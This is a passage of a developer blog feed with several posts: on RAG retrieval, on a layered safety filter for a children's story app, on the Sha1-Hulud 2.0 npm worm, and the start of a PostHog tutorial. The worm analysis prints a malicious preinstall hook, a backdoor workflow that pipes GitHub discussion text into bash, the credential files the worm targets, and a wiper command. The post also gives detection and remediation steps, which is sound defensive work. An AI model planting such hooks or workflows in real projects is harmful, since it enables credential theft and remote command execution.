<p>Instead of a flat list of chunks, PageIndex built a <strong>Hierarchical Tree</strong>. When the query hit, the AI "Navigator" performed a <strong>Structural Hop</strong>:</p>
<ol>
<li><p><strong>Analyze:</strong> "Legal matters in a 10-K live in Item 3 or the Financial Notes."</p>
</li>
<li><p><strong>Navigate:</strong> It went to the <strong>Tree Node</strong> for <em>Note 7: Income Taxes</em> and <em>Note 12: Contingencies</em>.</p>
</li>
<li><p><strong>Extract:</strong> It read the <em>entire</em> section. It found the <strong>€13.1 billion</strong> Irish State Aid case. It didn't matter that the word "settlement" wasn't a perfect match; the AI reasoned that this was the "Legal Matter" the user was looking for.</p>
</li>
</ol>
<hr />
<h2>4. Is "Vectorless" Just Marketing Hype?</h2>
<p>There is a lot of noise about "Vectorless RAG" being the "Pinecone Killer." Let's be human for a second: <strong>it is not.</strong> It is a specialized tool.</p>
<ul>
<li><p><strong>Vector RAG (The Motorcycle):</strong> Use this for <strong>Scale</strong>. If you have 1,000,000 small files and need an answer in 50ms, stay with Pinecone. It is cheap, fast, and great for discovery.</p>
</li>
<li><p><strong>Tree RAG (The Crane):</strong> Use this for <strong>Depth</strong>. If you have one massive, 200 page document where facts are "buried" in footnotes (legal, medical, or financial), you need a Tree. It is slower and costs more in LLM tokens, but it won't lie to you.</p>
</li>
</ul>
<hr />
<h2>5. The 2026 Pro Move: Hybrid RAG</h2>
<p>The question of whether "Vectorless" is the future hit me because it forces us to admit that <strong>similarity is not the same as relevance.</strong> In a production-grade system, you don't choose. You use a <strong>Hybrid Pipeline</strong>:</p>
<ol>
<li><p><strong>Search:</strong> Use <strong>Pinecone</strong> to find the 3 most relevant PDFs in your library.</p>
</li>
<li><p><strong>Reason:</strong> Use a <strong>Tree Index</strong> to "deep dive" into those specific PDFs to find the hidden truth.</p>
</li>
</ol>
<h3><strong>The Final Verdict</strong></h3>
<p>If you treat every document like a flat list of strings, you are leaving 50% of the intelligence on the table. Stop shredding your data and start mapping it.</p>
]]></content:encoded></item><item><title><![CDATA[Engineering AI Safety: A “Defense-in-Depth” Approach]]></title><description><![CDATA[Integrating GenAI into a product is easy. Making it safe for children is an entirely different engineering challenge.
At Mintmystory, we’re building a platform that generates custom stories for kids. ]]></description><link>https://blogs.thearjun.com/engineering-ai-safety-a-defense-in-depth-approach</link><guid isPermaLink="true">https://blogs.thearjun.com/engineering-ai-safety-a-defense-in-depth-approach</guid><category><![CDATA[generative ai]]></category><category><![CDATA[AI]]></category><category><![CDATA[guardrails]]></category><category><![CDATA[#PromptEngineering]]></category><dc:creator><![CDATA[Arjun Adhikari]]></dc:creator><pubDate>Mon, 19 Jan 2026 17:44:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1769183087625/c9b22d96-4874-45e1-9194-ef8b893fe191.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<p>Integrating GenAI into a product is easy. Making it safe for children is an entirely different engineering challenge.</p>
<p>At <a href="https://mintmystory.com"><strong>Mintmystory</strong></a>, we’re building a platform that generates custom stories for kids. In this domain, a single “hallucination” isn’t just a funny bug; it’s a critical failure. Relying on a single prompt instruction like "Be nice" or "safety Settings: BLOCK_MEDIUM” isn't enough when you're dealing with user-generated inputs that can be unpredictable.</p>
<p>We decided to build a safety pipeline that doesn’t just “hope” for the best, but actively filters content through multiple independent layers. We call it our <strong>Triple-Layer Safety Framework</strong>.</p>
<hr />
<h3>The Core Problem: Separation of Concerns</h3>
<p>LLMs are designed to follow instructions. If a user asks for a story about a “battle,” the model tries to comply. Even with safety fine-tuning, the model’s primary objective is helpfulness, which often conflicts with strict safety enforcement.</p>
<p>We found that we couldn’t rely on the story-generating model to be its own moderator. We needed a separate system: a dedicated “Judge” with no incentive to be creative, only to be critical.</p>
<h3>Our Architecture</h3>
<p>We implemented a pipeline where every prompt passes through three distinct gates.</p>
<img src="https://cdn-images-1.medium.com/max/1600/1*rELPzpVwU-rkaUkk7esczQ.jpeg" alt="" />

<h3>Layer 1: The Doorman (Heuristics)</h3>
<p><strong>Tools</strong>: <code>leo-profanity</code> checks.<br /><strong>Goal</strong>: Speed and Cost.</p>
<p>Before making any API calls, we run a local dictionary check. This instantly blocks obvious spam and explicit slurs. It’s a simple regex-based filter that saves us money by preventing junk from reaching the LLM.</p>
<pre><code class="language-typescript">// research/safety-framework/src/layers/keyword-filter.ts
export class KeywordFilter {
    check(text: string): SafetyResult {
        // Fast, strictly local check. 0ms latency.
        if (!leoProfanity.check(text)) {
            return { isSafe: false, reason: 'Profanity detected' };
        }
        return { isSafe: true };
    }
}
</code></pre>
<h3>Layer 2: The Bouncer (Adversarial Judge)</h3>
<p><strong>Tools</strong>: <code>Gemini 1.5 Flash</code> (System Prompt: Auditor).<br /><strong>Goal</strong>: Context and Intent.</p>
<p>This is where the real work happens. We use a smaller, faster model specifically prompted to act as an “Auditor”. Its only job is to analyze the input for harm. By decoupling this from the story generator, we remove the “helpfulness” bias.</p>
<pre><code class="language-typescript">// research/safety-framework/src/layers/safety-judge.ts
const prompt = `
You are an AI Safety Auditor. 
Your goal is to screen text for HARM, not just risky topics.
Guidelines:
- ALLOW: Educational content, simple conflict.
- BLOCK: Hate Speech, Graphic Violence, Sexual Content.
`;
</code></pre>
<h3>Layer 3: The Guardrails (Provider Settings)</h3>
<p><strong>Tools</strong>: <code>Gemini 2.0 Flash</code> (Safety Settings).<br /><strong>Goal</strong>: Final Safety Net.</p>
<p>If something slips past the first two layers, the Generation model itself has Google’s native <code>HarmBlockThreshold.BLOCK_LOW_AND_ABOVE</code> enabled. This catches output-side violations.</p>
<hr />
<h3>The “False Positive” Trade-Off</h3>
<p>We ran this framework against a test dataset of adversarial prompts.</p>
<p><strong>Harmful Catch Rate 100%.</strong> All hate speech and dangerous instructions were blocked. <strong>False Positive Rate</strong>~60%. Initially, simple stories like “A brave puppy” were flagged. <strong>Avg Latency</strong>+800ms: The cost of the extra API call.</p>
<h3>Engineering for Trust vs. Churn</h3>
<p>A high False Positive rate is annoying. It causes churn because users get blocked for writing innocent things like “naked mole rat” (the word “naked” triggers the filters)</p>
<p>However, in our domain, <strong>False</strong> <strong>Negatives</strong> <strong>are unacceptable</strong>. We deliberately chose a “Fail-Secure” architecture. We’d rather block 5 innocent stories than let one harmful one through.</p>
<p>To mitigate the churn, we introduced <strong>Context-Aware Policies</strong>.</p>
<h3>Insight: Context-Aware Safety</h3>
<p>Safety isn’t one-size-fits-all. A story about a war might be educational for a “Teen” but scary for a “Toddler”.</p>
<p>We updated Layer 2 to be adaptive. We pass the <code>target_audience</code> into the Auditor's system prompt.</p>
<pre><code class="language-typescript">// research/safety-framework/src/layers/safety-judge.ts
const nuanceGuide = targetAudience === 'Toddler' 
    ? "STRICT MODE. Block scary content. BUT whitelist innocent animal facts (e.g. 'naked mole rat')."
    : "NUANCED MODE. Allow biological terms and historical context.";
</code></pre>
<pre><code class="language-typescript">const prompt = `Target Audience: \({targetAudience}. Guidelines: \){nuanceGuide}...`;
</code></pre>
<p>This reduced our False Positive rate significantly for older audiences while keeping the “Toddler” setting extremely strict but smarter about common tropes.</p>
<h3>Summary</h3>
<p>This triple-layer approach adds latency (~800ms) and complexity, but it gives us deterministic control over our safety standards. It moves “Safety” from a vague hope to a measurable, engineered component of our pipeline.</p>
]]></content:encoded></item><item><title><![CDATA[From Infection to Replication: The Mechanics of Sha1-Hulud 2.0]]></title><description><![CDATA[If you think your npm install is safe because you haven't typed it in a while, think again.
We are currently witnessing the "Second Coming" of the Sha1-Hulud malware campaign. It’s not just another script-kiddie virus; it is a sophisticated, self-rep...]]></description><link>https://blogs.thearjun.com/from-infection-to-replication-the-mechanics-of-sha1-hulud-20</link><guid isPermaLink="true">https://blogs.thearjun.com/from-infection-to-replication-the-mechanics-of-sha1-hulud-20</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[shai-hulud]]></category><category><![CDATA[Supply Chain Attack]]></category><category><![CDATA[Detection techniques]]></category><dc:creator><![CDATA[Arjun Adhikari]]></dc:creator><pubDate>Tue, 25 Nov 2025 18:05:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/eaVaEMs9FQA/upload/72f1228551c987f10c9930f99d0226cb.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you think your <code>npm install</code> is safe because you haven't typed it in a while, think again.</p>
<p>We are currently witnessing the "Second Coming" of the <strong>Sha1-Hulud</strong> malware campaign. It’s not just another script-kiddie virus; it is a sophisticated, self-replicating worm that turns the tools we trust—GitHub, npm, and our own CI pipelines—into weapons against us.</p>
<p>This isn't just about stolen passwords. It’s about how attackers are mastering the art of <strong>Living off the Land (LotL)</strong> to bypass our defenses by looking exactly like <em>us</em>.</p>
<p>Here is the technical breakdown of how Sha1-Hulud 2.0 works, why it’s dangerous, and how to verify if your machine has been turned into a zombie runner.</p>
<hr />
<h2 id="heading-the-name-why-sha1-hulud">The Name: Why "Sha1-Hulud"?</h2>
<p>For the sci-fi fans, the name is a nod to the giant sandworms of Arrakis from Frank Herbert’s <em>Dune</em>, known as <strong>Shai-Hulud</strong>. The metaphor chosen by the attackers is terrifyingly accurate:</p>
<ul>
<li><p><strong>It is a Worm:</strong> The malware is self-replicating, burrowing through the npm registry to infect new packages automatically.</p>
</li>
<li><p><strong>The Harvest:</strong> In <em>Dune</em>, the worms guard the Spice. In this attack, the worm hunts for "digital spice"—your AWS keys, NPM tokens, and SSH credentials.</p>
</li>
<li><p><strong>The Scale:</strong> Just like the massive creatures in the books, the blast radius here is enormous, impacting over 25,000 repositories in a matter of days.</p>
</li>
</ul>
<hr />
<h2 id="heading-the-anatomy-of-the-attack">The Anatomy of the Attack</h2>
<p>Most supply chain attacks are smash-and-grab jobs. Sha1-Hulud is different; it’s an ecosystem occupier. It moves through three distinct phases: <strong>Infection</strong>, <strong>Persistence</strong>, and <strong>Replication</strong>.</p>
<h3 id="heading-1-the-infection-preinstall-panic">1. The Infection: "Preinstall" Panic</h3>
<p>The attack starts when you install a compromised npm package (thousands have been infected, including popular ones from Zapier and ENS Domains).</p>
<p>Unlike older malware that waits for the <code>postinstall</code> hook, Sha1-Hulud strikes early using <code>preinstall</code>.</p>
<pre><code class="lang-json"><span class="hljs-comment">// Malicious package.json</span>
{
  <span class="hljs-attr">"scripts"</span>: {
    <span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"node setup_bun.js"</span>
  }
}
</code></pre>
<p>The moment the download finishes, <code>setup_bun.js</code> runs. It acts as a <strong>Loader</strong>, determining if it's on a developer's laptop or a CI/CD server.</p>
<ul>
<li><p><strong>On Dev Machines:</strong> It spawns a detached background process (so your terminal doesn't freeze).</p>
</li>
<li><p><strong>On CI/CD:</strong> It runs synchronously to keep the runner alive long enough to exfiltrate secrets.</p>
</li>
</ul>
<h3 id="heading-2-the-theft-living-off-the-land">2. The Theft: Living off the Land</h3>
<p>Once active, the malware doesn't download custom hacking tools. It uses <em>your</em> tools. It scans for:</p>
<ul>
<li><p><code>~/.aws/credentials</code> (AWS Keys)</p>
</li>
<li><p><code>~/.ssh/id_rsa</code> (SSH Keys)</p>
</li>
<li><p><code>npmrc</code> tokens</p>
</li>
<li><p>GitHub Personal Access Tokens (PATs)</p>
</li>
</ul>
<p>It then performs a <strong>"Dead Drop"</strong> exfiltration. Instead of sending data to a blacklisted IP, it uses the legitimate GitHub API to create a <em>new</em> repository on <em>your</em> account (often named with "Sha1-Hulud" in the description) and uploads your secrets there as JSON files.</p>
<h3 id="heading-3-the-backdoor-the-zombie-runner">3. The Backdoor: The "Zombie" Runner</h3>
<p>This is the most technically impressive part. The attackers don't just want your data; they want your compute.</p>
<p>The malware uses your stolen GitHub token to register your machine as a <strong>Self-Hosted GitHub Action Runner</strong>. It then commits a workflow file named <code>.github/workflows/discussion.yaml</code> to the repo.</p>
<p><strong>The "Chat" that Kills:</strong> This workflow is a listener. The attacker can simply open a <strong>Discussion</strong> thread in that repo and type a command. Your machine, which is polling GitHub for work, sees the discussion, reads the command, and executes it.</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># Simplified Logic of the Backdoor</span>
<span class="hljs-attr">on:</span> <span class="hljs-string">discussion</span>
<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">run_command:</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">self-hosted</span> <span class="hljs-comment"># YOUR MACHINE</span>
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">echo</span> <span class="hljs-string">"$<span class="hljs-template-variable">{{ github.event.discussion.body }}</span>"</span> <span class="hljs-string">|</span> <span class="hljs-string">bash</span>
</code></pre>
<p>This bypasses firewalls because the traffic is <strong>outbound</strong> (your machine asking GitHub for work) and goes to a trusted domain (<a target="_blank" href="http://github.com"><code>github.com</code></a>).</p>
<hr />
<h2 id="heading-detection-the-full-audit">Detection: The Full Audit</h2>
<p>Because this attack uses legitimate binaries (<code>node</code>, <code>Runner.Listener</code>), standard antivirus tools often miss it. You need to hunt for <em>behavior</em> and <em>artifacts</em>, both on your local machine and in your cloud environment.</p>
<h3 id="heading-phase-1-the-local-machine-your-laptop">Phase 1: The Local Machine (Your Laptop)</h3>
<p><strong>1. The "Zombie" Process</strong> Open your terminal. You are looking for a GitHub Runner process that you didn't start.</p>
<p>Bash</p>
<pre><code class="lang-plaintext">ps aux | grep Runner.Listener
</code></pre>
<p><strong>🚩 Red Flag:</strong> If you see <code>Runner.Listener</code> running and you typically rely on cloud runners (like GitHub Actions default runners), your machine is compromised.</p>
<p><strong>2. The Hidden Configuration</strong> The malware stores its connection config in a hidden file.</p>
<p>Bash</p>
<pre><code class="lang-plaintext">find ~ -name ".runner" 2&gt;/dev/null
</code></pre>
<p><strong>🚩 Red Flag:</strong> Finding this file in a temp folder or a hidden subdirectory (e.g., <code>~/.hidden/.runner</code>) confirms the backdoor is active.</p>
<p><strong>3. The Payload Artifacts</strong> The malware drops specific files to handle the "preinstall" logic. Search your file system for these specific names:</p>
<ul>
<li><p><code>setup_bun.js</code> (The loader)</p>
</li>
<li><p><code>bun_environment.js</code> (The encrypted payload)</p>
</li>
<li><p><code>cloud.json</code> or <code>truffleSecrets.json</code> (Staged files containing your stolen keys)</p>
</li>
</ul>
<p><strong>4. Persistence Checks (MacOS/Linux)</strong> The malware wants to survive a reboot. Check your startup tasks:</p>
<ul>
<li><p><strong>MacOS:</strong> Check <code>~/Library/LaunchAgents/</code> for suspicious <code>.plist</code> files referencing the runner.</p>
</li>
<li><p><strong>Linux:</strong> Check <code>~/.config/systemd/user/</code> or standard <code>cron</code> jobs (<code>crontab -l</code>).</p>
</li>
</ul>
<h3 id="heading-phase-2-the-cloud-github-amp-aws">Phase 2: The Cloud (GitHub &amp; AWS)</h3>
<p>Even if you clean your laptop, the attacker might still have access to your cloud accounts.</p>
<p><strong>1. The "Sleeper" Runner</strong> This is the most critical check.</p>
<ul>
<li><p><strong>Go to:</strong> GitHub Organization/Repo Settings -&gt; <strong>Actions</strong> -&gt; <strong>Runners</strong>.</p>
</li>
<li><p><strong>Look for:</strong> Any "Self-hosted" runner that is currently <strong>"Idle"</strong> or <strong>"Active"</strong> that you do not recognize.</p>
</li>
<li><p><strong>Action:</strong> If you see one, click "Remove" immediately and revoke the token used to register it.</p>
</li>
</ul>
<p><strong>2. The "Dead Drop" Repositories</strong> Check your own GitHub profile for repositories created recently that you don't remember making.</p>
<ul>
<li><p><strong>Look for:</strong> Repositories with descriptions like <em>"Sha1-Hulud: The Second Coming"</em> or random strings.</p>
</li>
<li><p><strong>Check:</strong> The "Secrets" or "Settings" of these repos—attackers often store the stolen data as "Artifacts" or committed JSON files inside them.</p>
</li>
</ul>
<p><strong>3. Cloud Identity Audit</strong> If your AWS/Azure keys were on your machine, assume they are compromised. Check your CloudTrail or Activity Logs for:</p>
<ul>
<li><p><code>sts:GetCallerIdentity</code> (The attacker checking "who am I?")</p>
</li>
<li><p><code>secretsmanager:ListSecrets</code> (The attacker looking for more loot)</p>
</li>
<li><p>Any API calls originating from IP addresses that don't match your home or office VPN..</p>
</li>
</ul>
<h3 id="heading-check-3-the-dead-mans-switch">Check 3: The "Dead Man's Switch"</h3>
<p>Be careful. The malware contains a wiper logic. If it fails to connect to its C2 (GitHub) or detects it is being cornered, it may attempt to wipe your home directory (<code>rm -rf ~</code>). <strong>Disconnect from the internet immediately</strong> before attempting remediation if you suspect an active infection.</p>
<hr />
<h2 id="heading-the-takeaway-trust-no-package">The Takeaway: Trust No Package</h2>
<p>The Sha1-Hulud 2.0 campaign is a wake-up call. It proves that "Living off the Land" isn't just for nation-state hackers; it's now part of the automated supply chain toolkit.</p>
<p><strong>Actionable Tips:</strong></p>
<ol>
<li><p><strong>Audit your Personal Access Tokens (PATs):</strong> If you have tokens with <code>repo</code> or <code>workflow</code> scope that don't expire, rotate them now.</p>
</li>
<li><p><strong>Disable Scripts:</strong> If you are auditing a package, use <code>npm install --ignore-scripts</code>.</p>
</li>
<li><p><strong>Check your Repos:</strong> Look at your own GitHub profile. Do you see any new repositories you didn't create? That is the hallmark of this specific infection.</p>
</li>
</ol>
<p>Stay paranoid, stay safe.</p>
<hr />
<p><em>Found this technical deep-dive helpful? Share it with your engineering team before your next</em> <code>npm install</code>.</p>
]]></content:encoded></item><item><title><![CDATA[Elevate Your Code: How Developers Leverage PostHog for Building Better Software]]></title><description><![CDATA[Introduction
Building a great software is more than just writing code , it’s about understanding users, fixing issues fast, and shipping features confidently. Developers need more than a code editor; they need visibility into user behavior, performan...]]></description><link>https://blogs.thearjun.com/posthog-for-developers</link><guid isPermaLink="true">https://blogs.thearjun.com/posthog-for-developers</guid><category><![CDATA[posthog]]></category><category><![CDATA[analytics]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[tools]]></category><dc:creator><![CDATA[Arjun Adhikari]]></dc:creator><pubDate>Mon, 27 Oct 2025 18:04:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1761588858016/54bbb5b0-c1cb-4b42-b02b-ce54d07d37f4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>Building a great software is more than just writing code , it’s about understanding users, fixing issues fast, and shipping features confidently. Developers need more than a code editor; they need visibility into user behavior, performance issues, and feature usage.</p>
<p>Unlike typical analytics tools built for product teams, PostHog is designed with engineers in mind, PostHog is an open-source, all-in-one platform offering <strong>product analytics, session replay, feature flags, A/B testing, error tracking and more</strong>.</p>
<h1 id="heading-deep-dive-on-posthog"><strong>Deep Dive on Posthog</strong></h1>
<p>Now that we’ve covered why PostHog matters to developers, let’s explore how it works under the hood ,  starting with events, the building blocks of all analytics.</p>
<h2 id="heading-events-in-posthog"><strong>Events in Posthog</strong></h2>
<p>At the heart of PostHog   and any analytics platform   are <strong><em>events</em></strong>.</p>
<blockquote>
<p>In PostHog, events represent user interactions with your app or website, forming the core data unit. These events can be as simple as a button click or as complex as a purchase and can be customized to track specific user behaviors</p>
</blockquote>
<p>PostHog comes with extensive out-of-the-box event tracking, automatically capturing a wide range of properties   from browser and OS details to location (country, city via IP), browser language, current URL, and more.</p>
<p>This rich context powers advanced features like:</p>
<p>• Rage click detection</p>
<p>• Session replays</p>
<p>• Funnel analysis</p>
<p>• Retention tracking</p>
<p>With these insights, developers can understand user behavior in depth and continuously improve the product experience.</p>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*_jHPQta8NqMeB4wAXhqExw.png" alt="Fig: example of events and what properties are captured under each events" /></p>
<p>Fig: example of events and what properties are captured under each events</p>
<h2 id="heading-ways-to-capture-events-in-posthog">Ways to capture events in posthog</h2>
<p><strong>Automatic event capture:</strong></p>
<p>Imagine a user clicks on a “Sign Up” button. PostHog will automatically track this action as an event, capturing key details such as the <strong>URL of the page the user was on at the time</strong>, <strong>the browser and operating system</strong> they were using, and the time of the click.</p>
<p><strong>Manual event capture:</strong></p>
<p>Let’s say you want to track when a user completes a purchase in your app. Instead of relying on PostHog’s automatic capture, you can define a <strong>custom event</strong> to track the exact amount spent and the items purchased.</p>
<pre><code class="lang-javascript">posthog.capture(<span class="hljs-string">'purchase_completed'</span>, {
  <span class="hljs-attr">total_amount</span>: <span class="hljs-number">49.99</span>,
  <span class="hljs-attr">items_purchased</span>: [<span class="hljs-string">'Product A'</span>, <span class="hljs-string">'Product B'</span>],
});
</code></pre>
<p>This event would now give you detailed insight into user behavior after they make a purchase, including which products are most popular and how much users are spending.</p>
<h1 id="heading-from-code-to-insights-how-posthog-helps-you-build-better"><strong>From Code to Insights: How PostHog Helps You Build Better</strong></h1>
<p>While this guide focuses on developers, PostHog’s <strong>all-in-one toolkit is built to support entire product teams ,</strong>  from engineers to marketers, analysts, and founders. Whether you’re shipping code, analyzing user behavior, or making data-driven decisions, PostHog brings powerful tools into a single platform.</p>
<p>Let’s break down what makes it so effective.</p>
<h2 id="heading-1-unified-tooling-simplifying-the-developer-stack"><strong>1) Unified Tooling: Simplifying the Developer Stack</strong></h2>
<p>Developers often juggle multiple tools for analytics, error tracking, feature flagging, and A/B testing. PostHog consolidates these into a single platform</p>
<p>As developers, we’re naturally <strong>drawn to tools that unify and simplify</strong>. Whether it’s a framework, library, or package, we tend to appreciate solutions that bring multiple capabilities under one roof. <strong>The less context-switching and integration overhead, the better</strong>.</p>
<p>Integrating PostHog into a development workflow is designed to be straightforward</p>
<p>For instance, embedding the following snippet within the <code>&lt;head&gt;</code> tags of an HTML document provides immediate access to PostHog's core functionalities</p>
<pre><code class="lang-jsx">&lt;script&gt;
   !<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">t,e</span>)</span>{<span class="hljs-keyword">var</span> o,n,p,r;e.__SV||(<span class="hljs-built_in">window</span>.posthog=e,e._i=,e.init=<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">i,s,a</span>)</span>{<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">g</span>(<span class="hljs-params">t,e</span>)</span>{<span class="hljs-keyword">var</span> o=e.split(<span class="hljs-string">"."</span>);<span class="hljs-number">2</span>==o.length&amp;&amp;(t=t[o],e=o[<span class="hljs-number">1</span>]),t[e]=<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{t.push([e].concat(<span class="hljs-built_in">Array</span>.prototype.slice.call(<span class="hljs-built_in">arguments</span>,<span class="hljs-number">0</span>)))}}(p=t.createElement(<span class="hljs-string">"script"</span>)).type=<span class="hljs-string">"text/javascript"</span>,p.crossOrigin=<span class="hljs-string">"anonymous"</span>,p.async=!<span class="hljs-number">0</span>,p.src=s.api_host.replace(<span class="hljs-string">".i.posthog.com"</span>,<span class="hljs-string">"-assets.i.posthog.com"</span>)+<span class="hljs-string">"/static/array.js"</span>,(r=t.getElementsByTagName(<span class="hljs-string">"script"</span>)).parentNode.insertBefore(p,r);<span class="hljs-keyword">var</span> u=e;<span class="hljs-keyword">for</span>(<span class="hljs-keyword">void</span> <span class="hljs-number">0</span>!==a?u=e[a]=:a=<span class="hljs-string">"posthog"</span>,u.people=u.people||,u.toString=<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">t</span>)</span>{<span class="hljs-keyword">var</span> e=<span class="hljs-string">"posthog"</span>;<span class="hljs-keyword">return</span><span class="hljs-string">"posthog"</span>!==a&amp;&amp;(e+=<span class="hljs-string">"."</span>+a),t||(e+=<span class="hljs-string">" (stub)"</span>),e},u.people.toString=<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{<span class="hljs-keyword">return</span> u.toString(<span class="hljs-number">1</span>)+<span class="hljs-string">".people (stub)"</span>},o=<span class="hljs-string">"init capture register register_once register_for_session unregister unregister_for_session getFeatureFlag getFeatureFlagPayload isFeatureEnabled reloadFeatureFlags updateEarlyAccessFeatureEnrollment getEarlyAccessFeatures on onFeatureFlags onSessionId getSurveys getActiveMatchingSurveys split("</span> <span class="hljs-string">"),n=0;n&lt;o.length;n++)g(u,o[n]);e._i.push([i,s,a])},e.__SV=1)}(document,window.posthog||);
    posthog.init('&lt;ph_your_project_api_key&gt;', {api_host: 'https://us.i.posthog.com'})
&lt;/script&gt;</span>
</code></pre>
<p><strong><em>For projects utilizing JavaScript you can use your favourite package managers like pnm, npm or yarn</em></strong></p>
<h2 id="heading-2-product-analytics-amp-autocapture-understanding-usage-with-less-effort"><strong>2) Product Analytics &amp; Autocapture: Understanding Usage with Less Effort</strong></h2>
<p>Sure, you’ve heard the buzzwords :  <strong>DAU, MAU, Funnels, Retention, Churn, Cohorts</strong>. Analytics platforms often throw these terms around and expect developers to tag every button, track every event manually, and dig through complex dashboards like they’re solving a crime scene.</p>
<p>Tools like Google Analytics or Mixpanel offer some level of automatic tracking, but often still require manual setup, custom events, or limited flexibility.</p>
<p>But posthog flips that script, <strong>with built-in autocapture, it automatically tracks clicks, page views, and form interactions</strong>   right out of the box. No extra code, no tracking plan spreadsheets. Just real insights, built for developers who want to understand how their features are actually used.</p>
<p>Let’s say you just shipped a new onboarding flow with a few <strong>“Next”</strong> buttons and a <strong>feedback form at the end.</strong></p>
<p><strong>Without writing a single tracking line</strong>, PostHog will <strong>automatically capture</strong>:</p>
<p>• How many users clicked “Next”.</p>
<p>• Whether they completed the onboarding flow.</p>
<p>• If they submitted feedback  and on what page they dropped off.</p>
<p>You can then view all of this in funnels, heatmaps, or session replays   without touching your code again.</p>
<h2 id="heading-3-session-replay-see-what-your-users-see-without-the-guesswork"><strong>3) Session Replay: See What Your Users See  Without the Guesswork</strong></h2>
<p>The PostHog UI for session replay typically includes an event timeline, console logs, and network monitoring tools, providing a comprehensive view of the user’s experience at a granular level</p>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*fSzVJ_EbTNxC0opOCQbDag.png" alt /></p>
<p>Session replay captures user interactions exactly as they happened , not by recording their screen, but by <strong>cleverly capturing DOM changes and replaying them like a movie</strong>.</p>
<p>It’s like a developer-friendly time machine 🔄 that lets us watch how users navigated, clicked, scrolled, and sometimes… rage-quit.</p>
<p>This visual insight helps with a ton of use cases:</p>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*JtSOpKw2sdUrYWzrFhqYSQ.png" alt /></p>
<p>But here’s the thing , <strong>watching user sessions can feel a bit invasive at first</strong>.</p>
<blockquote>
<p>You might ask:</p>
<p><em>“Wait, someone can literally replay my clicks? Isn’t that a privacy red flag?”</em></p>
</blockquote>
<p><img src="https://cdn-images-1.medium.com/max/1600/1*Cb7yhvHW9MmmBRXZpnkP2Q.png" alt /></p>
<p>Fig: ensure data privacy with posthog</p>
<blockquote>
<p>So yes, session replay is powerful  but in PostHog, it’s built for</p>
<p><strong>debugging with empathy</strong></p>
</blockquote>
<h2 id="heading-4-error-tracking">4) Error Tracking</h2>
<p>Error tracking is one of my personal favorite feature in PostHog.</p>
<p>It acts as a robust logger for both your frontend and backend, offering enhanced features and ease of use compared to traditional logging methods.</p>
<p>This enables us to track, investigate, and resolve issues the users encounter in real-time, providing valuable insights for proactive debugging and improvement of the application.</p>
<p>Because posthog is an all-in-one platform, we can use any reported errors to create <strong>insights, filter recordings, trigger surveys etc.</strong></p>
<p>This means, for example, we can seamlessly find session replays of specific errors when trying to debug root causes, or s<strong>end crash surveys to users whenever an exception is triggered</strong>.</p>
<p>The default event Exception provides sufficient information about errors</p>
<p>There are two ways to capture exception:</p>
<h3 id="heading-41-setting-up-exception-autocapture">4.1) Setting up exception autocapture</h3>
<p>we can enable exception autocapture for the JavaScript Web SDK in the <strong>Error tracking</strong> section of <a target="_blank" href="https://us.posthog.com/settings/project-error-tracking#exception-autocapture">your project settings</a>.</p>
<p>When enabled, this automatically captures <code>$exception</code> events when errors are thrown by wrapping the <code>window.onerror</code> and <code>window.onunhandledrejection</code> listeners.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Check if we're in the browser environment</span>
<span class="hljs-keyword">if</span> (<span class="hljs-keyword">typeof</span> <span class="hljs-built_in">window</span> !== <span class="hljs-string">'undefined'</span>) {
  <span class="hljs-comment">// Initialize PostHog with your project API key</span>
  posthog.init(<span class="hljs-string">'your-project-api-key'</span>, {
    <span class="hljs-attr">autocapture</span>: <span class="hljs-literal">true</span>, <span class="hljs-comment">// Automatically capture events</span>
  });

  <span class="hljs-comment">// Capture global JavaScript errors</span>
  <span class="hljs-built_in">window</span>.onerror = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">message, source, lineno, colno, error</span>) </span>{
    posthog.capture(<span class="hljs-string">'$exception'</span>, {
      <span class="hljs-attr">message</span>: message,
      <span class="hljs-attr">source</span>: source,
      <span class="hljs-attr">lineno</span>: lineno,
      <span class="hljs-attr">colno</span>: colno,
      <span class="hljs-attr">error</span>: error,
    });
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>; <span class="hljs-comment">// Prevents the default browser error handling</span>
  };

  <span class="hljs-comment">// Capture unhandled promise rejections</span>
  <span class="hljs-built_in">window</span>.onunhandledrejection = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">event</span>) </span>{
    posthog.capture(<span class="hljs-string">'$exception'</span>, {
      <span class="hljs-attr">message</span>: event.reason.message,
      <span class="hljs-attr">stack</span>: event.reason.stack,
    });
  };

  <span class="hljs-comment">// Clean up when the page is unloaded</span>
  <span class="hljs-built_in">window</span>.addEventListener(<span class="hljs-string">'unload'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    posthog.shutdown(); <span class="hljs-comment">// Optional cleanup to ensure PostHog is properly shut down</span>
  });
}
</code></pre>
